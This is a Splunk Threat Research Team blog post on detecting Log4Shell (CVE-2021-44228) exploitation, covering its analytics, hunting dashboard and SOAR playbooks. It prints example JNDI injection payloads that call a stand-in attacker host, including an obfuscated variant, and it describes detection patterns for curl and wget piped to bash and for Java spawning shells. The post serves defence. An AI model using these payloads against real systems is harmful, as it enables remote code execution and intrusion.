BLOGS CATEGORIES AUTHORS SUBSCRIBE

 Free Splunk

By Splunk Threat Research Team December 17, 2021

T his blog is a part of Splunk's Log4j response. For additional resources, check out the Log4Shell
Overview and Resources for Log4j Vulnerabilities page.

Like most cybersecurity teams, the Splunk Threat Research Team (STRT) has been heads-down
attempting to understand, simulate, and detect the Log4j attack vector. This post shares detection
opportunities STRT found in di erent stages of successful Log4Shell exploitation.

One week after its initial release, we are still learning new developments for the Log4j vulnerabilities. At
the time of writing, there are two publicly known CVEs (CVE-2021-44228, and CVE-2021-45046); the
Splunk Security Content below is designed to cover exploitation attempts across both CVEs, including
the recently released bypass technique.

We recorded a short demo setting up the Splunk Attack Range to simulate the attack. Using the data
collected, we developed 13 new detections and 9 playbooks to help Splunk SOAR customers
investigate and respond to this threat. A dashboard is also included to help threat hunters identify signs
of payload injection in their environments (even obfuscated).

Log4Shell Detection Opportunities

The Log4Shell exploitation path creates two unique detection opportunities before the defender must
resort to more standard cybersecurity approaches. In particular, the payload injection and outbound
connection stages will have speci c patterns which defenders can utilize to identify the initial stages of
exploitation. This section also describes the challenges that a ect each of these detection opportunities.

Payload Injection
In the rst step of the attack, adversaries submit malicious payloads to attempt exploitation. In their
simplest forms, these unusual injection strings can be easily identi ed by looking for special strings.

${jndi:ldap://attacker.com/evil}

The data sources that can be leveraged for this detection opportunity include web server logs, web and
proxy logs, and API gateway logs. Using the CIM Web data model can be even more bene cial for
defenders.

Challenges
Injection String Obfuscation
As with many attack sequences, obfuscation can be a powerful tool. In this case the payload string can
be obfuscated in many di erent ways to bypass signature-based detection or prevention controls like
IDS, IPS, and WAF products.

${${env:FOO:-j}ndi${env:FOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/evil}

Regular expressions can help reduce missed positives but will not provide coverage for all possible
variations.

Log Coverage
Although the initial attack vectors target mostly web servers and inject malicious payloads in common
headers (e.g., User-Agent or X-Forwarded-For), there may be vulnerable endpoints for which logs are
typically not retained (e.g., POST requests). Furthermore, the CVE-2021-44228 vulnerability does not
only a ect Web Servers and may a ect any network service which utilizes the vulnerable package.

False Positive Rate

Adversaries are attempting to identify vulnerable servers and services through indiscriminate “spraying”
of injection strings at visible endpoints rather than through deliberate identi cation of software
containing the vulnerable package. Thus, defenders triaging alerts based only on injection string
presence may encounter high false positive rates for injection attempts that may never result in code
execution.

Outbound Connections
Successful exploitation will require the victim endpoint to perform outbound connections to attacker
controlled infrastructure. To help identify compromised hosts, defenders can hunt for unusual outbound
network connections from servers using Log4j libraries and using protocols such as LDAP or RMI.

Web proxy logs, rewall logs and NetFlow will provide useful data to identify these outbound detections.
To accelerate identi cation of attacker activity within these sources the CIM Web data model, the
Endpoint data model and the Tra c data model can be utilized.

Challenges
Environment Baseline
IT environments of even a reasonable scale will frequently create desired outbound connections. Thus
analysis to determine the legitimacy of those connections is in this case no less complicated than usual.
Strong apriori baselining procedures or quanti ed measures of outbound connection to internal request
will prove useful tools in this analysis. Of course this becomes more complicated in scenarios where
applications are cloud hosted or outside of the typical corporate DMZ.

Post Exploitation
If successful exploitation is achieved, the Log4Shell CVE-2021-44228 vulnerability allows adversaries to
obtain code execution in target networks. They are, however, still forced to engage in post-exploitation
techniques to expand their access and locate/ex ltrate their objectives.

The data sources that can be leveraged for this detection opportunity include process and command line
logging, powershell logging, le system audit logging, and network logging. Using the CIM, the Endpoint
data model and the Tra c data model, can be even more bene cial for defenders.

Splunk encourages defenders to deploy post-exploitation detection coverage to detect adversaries that
have obtained an initial foothold using Log4Shell or any other method. STRT has released several analytic
stories that can help with this task including: Active Directory Discovery, Windows Privilege Escalation,
Active Directory Lateral Movement and many others.

Using Splunk’s Attack Range to Simulate and Detect

Log4Shell
To better understand the Log4Shell CVE-2021-44228 vulnerability and to build testable detections,
STRT replicated the attack chain using Splunk’s Attack Range. This section will walk you through the
steps and requirements needed to test this yourself.

Here is a high-level diagram of the replication of a vulnerable environment:

Software Requirements
A vulnerable application: We used this vulnerable application created by security researcher
Christophe
POC exploit: We used JNDIExploit (a fork of JNDIExploit that is no longer available)
Java version 1.8.0_181

Watch the video below to see the attack in action.

The above POC exempli es how to compromise a host exploiting the CVE-2021-44228 vulnerability,
however, exploiting this vulnerability in the eld requires several conditions and may not be as
straightforward as the POCs shared in the community (i.e. the vulnerable class information is disclosed in
POC code).

Attack Datasets
To build our detections, the attack was replicated using both Windows and Linux vulnerable servers and
executed di erent payloads like command execution, reverse shells, etc. Below are di erent attack
datasets we generated as a result of simulating Log4Shell.

Defenders who are not able to simulate the attack could leverage these datasets to test detection logic
in their own environments. The datasets can be replayed to Splunk Enterprise by using STRT’s replay.py
tool or the UI.

Sourcetypes Description URLs

Microsoft-Windows-
windows-sysmon.log
Sysmon/Operational
Manual exploitation of CVE-2021-44228-Log4j
windows-security.log
WinEventLog:Security on a Linux and Windows endpoint.

linux-sysmon.log
Sysmon_linux
Manual generation of attack data by creating
bro:conn:json bro_conn.json
outbound LDAP connections
Manual generation of attack data related to
nginx:plus:kv log4j_proxy_logs.log
Log4j with Nginx proxy logs
Manual generation of attack data related to
stream:ip log4j_network_logs.log
Log4j with network logs
stream:http java.log

Attack data related to Log4Shell CVE-2021-

nginx:plus:kv log4shell-nginx.log
44228

sysmon_linux java_spawn_shell_nix.log

Log4Shell CVE-2021-44228 Analytic Story

STRT developed a new analytic story, which is a group of detections and responses built to detect,
investigate, and respond to speci c threats, to help security operations center (SOC) analysts detect
adversaries exploiting or trying to exploit the Log4j CVE-2021-44228 vulnerability. This section describes
some of these analytics grouped by exploitation step.

Payload Injection

Technique
Name Tactic Description
ID
CVE-2021-44228

Log4Shell payloads can be injected using various methods, but one of

the most common injection vectors is via web calls. Many of the
Log4Shell
vulnerable Java web applications that use Log4j have a web
JNDI Payload Initial
T1190 component, making them special targets for this injection. Examples
Injection Access
include Apache Struts, Flink, Druid, and Solr. The exploit is triggered by
Attempt
an LDAP lookup function in the Log4j package. Its invocation is similar
to ${jndi:ldap://PAYLOAD_INJECTED}. When executed against
vulnerable web applications, the invocation can be seen in various
parts of weblogs.
Log4Shell
This detection correlates the previous analytic with outbound network
JNDI Payload
Initial connections coming from the same host. This will reduce the number
Injection with T1190
Access of false positives and potentially identify successfully exploited
Outbound
servers.
Connection
Outbound Connections

Technique
Name Tactic Description
ID
A required step while exploiting the CVE-2021-44228 Log4j
vulnerability is that the victim server will perform outbound
Outbound connections to the attacker-controlled infrastructure. This is
Network required as part of the JNDI lookup as well as for retrieving the
Initial
Connection T1190 second stage .class payload. The following analytic identi es the
Access
from Java Using Java process of reaching out to default ports used by the LDAP and
Default Ports RMI protocols. This behavior could represent successful exploitation.
Note that adversaries can easily decide to use arbitrary ports for
these protocols and potentially bypass this detection.
Malicious actors often abuse miscon gured LDAP servers or
applications that use the LDAP servers in organizations. Outbound
Detect
Initial LDAP tra c should not be allowed outbound through your perimeter
Outbound LDAP T1190
Access rewall. This search will help determine if you have any LDAP
Tra c
connections to IP addresses outside of private (RFC1918) address
space.
Identi es a Java user agent performing a GET request for a .class le
Java Class File
Initial from the remote site. This potentially indicates exploitation of the
download by T1190
Access Java application and may be related to current event CVE-2021-
Java User Agent
44228 (Log4Shell).
Post-Exploitation

Technique
Name Tactic Description
ID
The following analytic identi es the use of PowerShell to
download a le using the DownloadFile method. This
T1059.001
Any Powershell particular method is utilized in many di erent PowerShell
Execution
DownloadFile frameworks to download les and output them to disk.
Identify the source (IP/domain) and destination le and triage
appropriately.
The following analytic identi es command-line arguments
where cmd.exe /c is used to execute a program. cmd /c is
CMD Carry Out used to run commands in MS-DOS and terminate after
String Command T1059.003 Execution command or process completion. This technique is
Parameter commonly seen in adversaries and malware to execute batch
commands using di erent shells like PowerShell or di erent
processes other than cmd.exe.
Command The following analytic identi es the use of curl on Linux or
And macOS to attempt to download a le from a remote source
Curl Download and
T1105 Control and pipe it to Bash. This is typically found with coin miners
Bash Execution
and most recently with CVE-2021-44228, a vulnerability in
Log4j.
The following analytic identi es the process name of Java,
Apache, or Tomcat spawning a Linux shell. This is potentially
indicative of exploitation of the Java application and may be
Linux Java Initial related to current event CVE-2021-44228 (Log4Shell). The
T1190
Spawning Shell Access shells included in the macro are "sh", "ksh", "zsh", "bash",
"dash", "rbash", " sh", "csh', "tcsh', "ion", "eshell". Upon triage,
review parallel processes and command-line arguments to
determine legitimacy.
The following hunting analytic identi es PowerShell
Malicious
commands utilizing the WindowStyle parameter to hide the
PowerShell Process
Initial window on the compromised endpoint. This combination of
- Connect To T1190
Access command-line options is suspicious because it overrides the
Internet With
default PowerShell execution policy, attempts to hide its
Hidden Window
activity from the user, and connects to the Internet
Command The following analytic identi es the use of wget on Linux or
And macOS to attempt to download a le from a remote source
Wget Download
T1105 Control and pipe it to Bash. This is typically found with coin miners
and Bash Execution
and most recently with CVE-2021-44228, a vulnerability in
Log4j.
The following analytic identi es the process name of java.exe
and w3wp.exe spawning a Windows shell. This is potentially
Windows Java Initial indicative of exploitation of the Java application and may be
T1190
Spawning Shells Access related to current event CVE-2021-44228 (Log4Shell). The
shells included in the macro are "cmd.exe" and
"powershell.exe".

Hunting for Log4Shell

Included in the analytic story is a Splunk hunting dashboard that helps to quickly assess CVE-2021-
44228, or Log4Shell, activity mapped to the Web Datamodel. Because this Log4Shell vulnerability
requires the string to be in the logs, the dashboard will help to identify the activity anywhere in the HTTP
headers using raw eld. It is also easy to modify the analytic to use the same pattern-matching against
other log sources. Scoring is based on a simple rubric of 0-5, with 5 being the best match. A score below
5 is meant to identify additional patterns that will equate to a higher total score.

A breakdown of the eval statements:

The jndi_fastmatch is meant to identify any jndi in the logs. The score is set low to be the baseline
score that the others will enhance.
The jndi match identi es the standard pattern of {jndi: anywhere in the raw eld.
jndi_proto is a protocol match that identi es jndi and one of ldap, ldaps, rmi, dns, nis, iiop, corba,
nds, http, https.
all_match is a very well-written regex by Schvenn that identi es nearly all patterns of this attack
behavior.
env works to detect environment variables in the header, meant to capture AWS_ACCESS_KEY_ID,
AWS_SECRET_ACCESS_KEY and env.
uri_detect is a string match that looks for the common uri paths currently being scanned/abused in
the wild.
keywords matches on enumerated values that, like $ctx:loginId, may be found in the header used by
the adversary.
obf identi es the common obfuscation patterns used. It’s not extensive, however. We have seen it
capture more than the other statements.
Lookups identi es 3 commonly used values: date, lower, and upper.

Scoring will then occur based on any ndings. The base score is meant to be 2, created by
jndi_fastmatch. Everything else is meant to raise the score.

Finally, a simple table is created to show the scoring and the raw eld itself. Filter based on score or
columns of interest.

We hope teams nd this useful to quickly assess datasets and modify them as needed.

Name Technique IDTactic Description

Hunting for Log4ShellT1190 Initial AccessHunt for Log4Shell activity in logs.

Investigation and Mitigation Playbooks

If your infrastructure has matured to support automation, Splunk has released nine playbooks for
investigating and responding to Log4Shell vulnerability CVE-2021-44228. While there are no substitutes
for timely patch management and secure software supply chain practices these response playbooks can
ll in gaps in time sensitive scenarios such as this. Here is a diagram of how those playbooks t together:

Released Playbook Table

Playbook Description
Log4j This is the parent playbook that manages the IPs and hostnames of potentially a ected
Investigate hosts and calls the appropriate sub-playbooks for each one.
Internal Host
Splunk Use data already in your Splunk Enterprise environment to help investigate and
Investigate remediate impacts caused by this vulnerability.
Log4j
Use SSH and Bash to investigate each internal Unix host that might be running Java with
Internal Host Log4j. No response actions are taken on the host, but information is gathered about the
SSH Log4j Java version in use, the presence of JndiLookup.class in any JARs, the presence of Log4j
Investigate JARs in any WARs, and the presence of any running Java processes. The results are
zipped up in .csv les and added to the vault for an analyst to review.
Use SSH and Bash to collect generic information about the activity on each relevant Unix
Internal Host system that is not speci c to Log4j. This includes the process list, installed services, login
SSH Investigate history, cron jobs, and open sockets. The results are zipped up in .csv les and added to
the vault for an analyst to review.
Internal Host Use WinRM and PowerShell to scan each Windows system for the presence of a
WinRM Log4j "JndiLookup.class" le in any JAR les on any drives. The presence of that string in the
Investigate zip manifest could indicate a Log4j vulnerability.
Use WinRM and PowerShell to perform a general investigation on key aspects of each
Internal Host
Windows system. This includes users, groups, running processes, open sockets, startup
WinRM
commands, and scheduled tasks. The results are zipped up in .csv les and added to the
Investigate
vault for an analyst to review.
The parent playbook for the two response playbooks. This is where we determine what
Log4j Respond
hosts to attempt to mitigate using SSH and WinRM.
Use SSH and Bash to perform mitigation on each host. If lenames are provided, the
Internal Host
endpoints will be searched and then the user can approve deletion. Regardless of le
SSH Log4j
deletion, the user is then prompted to quarantine the endpoint with an iptables rule or
Respond
shut down the endpoint.
Use WinRM and PowerShell to perform mitigation on each host. If lenames are provided,
Internal Host
the endpoints will be searched and then the user can approve deletion. Regardless of le
WinRM Log4j
deletion, the user is then prompted to quarantine the endpoint with a Windows rewall
Respond
rule or shut down the endpoint.

Steps to Deploy the Playbooks

As usual, playbooks rely on SOAR app connectors to perform their actions. In this case, the apps are
Splunk, SSH, and WinRM. Please see the in-product app documentation to con gure these apps. If you
use CrowdStrike, Carbon Black, Windows Defender, SentinelOne, or any other endpoint security solution,
you may be able to convert these playbooks to use the live response capabilities of those tools instead of
SSH and WinRM.

There are two ways to trigger these playbooks. The rst is to use a custom list, which is the equivalent of
a spreadsheet embedded in Splunk SOAR. The default name of this custom list is “log4j_hosts” and the
expected format is the IP or hostname of the internal potentially a ected host in the rst column, and the
operating system family (“unix” or “windows”) in the second column. Here is an example:

hostname1unix
1.1.1.1 windows
hostname2unix

Once the custom list is con gured, you can start a blank event in Splunk SOAR and launch the playbook
“log4j_investigate” to kick o the process. This will create the required artifacts at the beginning of the
rst playbook.

The second way to trigger these playbooks is to forward a notable or alert to Splunk SOAR from Splunk.
You can manually send an alert using the following command at the end of your search.

| sendalert sendtophantom param.phantom_server="phantom" param.sensitivity="amber" param.severity="Medium" param.lab

Replace the phantom_server parameter value with the name of your Splunk SOAR instance as
con gured in the Phantom App For Splunk. Ensure that you have the “deviceHostname” eld, which is
required for the playbooks, and if possible, provide the “operatingSystemFamily” eld, which should be
either “unix” or “windows”.

You may notice that the “log4j_respond” playbook is executed automatically at the end of
“log4j_investigate”. However, that playbook runs o of a slightly di erent custom list called
“log4j_hosts_and_ les”. If you determine that you want to do bulk remediation, you can create that
custom list as well and either launch “log4j_respond” in the same container or create a new one just for
the response. In “log4j_hosts_and_ les” you can use the same format, except there is an optional third
row with full paths to les marked for deletion. Of course, all response actions are preceded by prompts
that will wait for con rmation by an analyst.

Closing Thoughts
It is awe inspiring to see our industry collaborate to address this vulnerability. Even inside Splunk, it has
been a multi-team, multi-evening e ort. Our SURGe team provided customer guidance within 24 hours of
the attack. Our internal security team published an advisory of our a ected products within three days of
the event. Security Field Solutions collaborated with STRT to build playbooks while we focused on
simulating the attack and shipping Enterprise Security Content Update 3.32.0.

On a nal note, Yahoo has released a tool that checks if a host is vulnerable to Log4J (CVE-2021-44228)
exploitation, and our very own James Brodsky successfully operationalized it via a Splunk Technology
Add-On called TA-check-logFORj. The wrapper Brodsky created simply plugs the Yahoo tool into the
Splunk Universal Forwarder (on Linux) so that you can report on the results of the tool across your entire
UF fleet. Thank you Jan Schaumann and James Brodsky for sharing this with the Splunk community!

I would like to extend some special thanks to: Matthew Modestino, Tim Meader, Christophe Tafani-
Dereeper, Florian Roth, Olaf Hartong, Johan Bjerke, Kelby Shelton, Philip Royer, and Kevin Beaumont.
Without your contributions this blog would not be possible!

The Splunk Threat Research Team is an active part of a customer’s overall defense
strategy by enhancing Splunk security o erings with veri ed research and security
content such as use cases, detection searches, and playbooks. We help security
teams around the globe strengthen operations by providing tactical guidance and
insights to detect, investigate and respond against the latest threats. The Splunk
Threat Research Team focuses on understanding how threats, actors, and
POSTED BY vulnerabilities work, and the team replicates attacks which are stored as datasets in
Splunk Threat Research the Attack Data repository.
Team
Our goal is to provide security teams with research they can leverage in their day to
day operations and to become the industry standard for SIEM detections. We are a
team of industry-recognized experts who are encouraged to improve the security
industry by sharing our work with the community via conference talks, open-
sourcing projects, and writing white papers or blogs. You will also nd us presenting
our research at conferences such as Defcon, Blackhat, RSA, and many more.

Read more Splunk Security Content.

TAGS

Splunk Enterprise Security — Security Solutions — Security Research

Join the Discussion

 News  Events

SPLUNK ON TWITTER SPLUNK ON FACEBOOK SPLUNK ON LINKEDIN SPLUNK SITES

@Splunk Like us on Facebook Follow us on LinkedIn Answers

@splunkanswers Like Splunk University on Follow .conf on LinkedIn Community

Facebook
@splunkdev .conf

@SplunkUK SPLUNK ON YOUTUBE Developers

SPLUNK ON SLIDESHARE
@SplunkDE Subscribe to our Channel Documentation
Follow us on SlideShare
@SplunkGov Splunk.com

@SplunkforGood Splunkbase
SPLUNK ON INSTAGRAM
@SplunkDocs SplunkLive!
Follow us on Instagram
T-Shirt Store

Support

Training

User Groups



© 2005-2022 Splunk Inc. All rights reserved.

Sitemap | Contact | Careers | Privacy | Terms of Use | Export Control | Modern Slavery Statement

Splunk, Splunk> and Turn Data Into Doing are trademarks or registered trademarks of Splunk Inc. in the United States and other countries. All other brand names, product names, or trademarks belong to their
respective owners.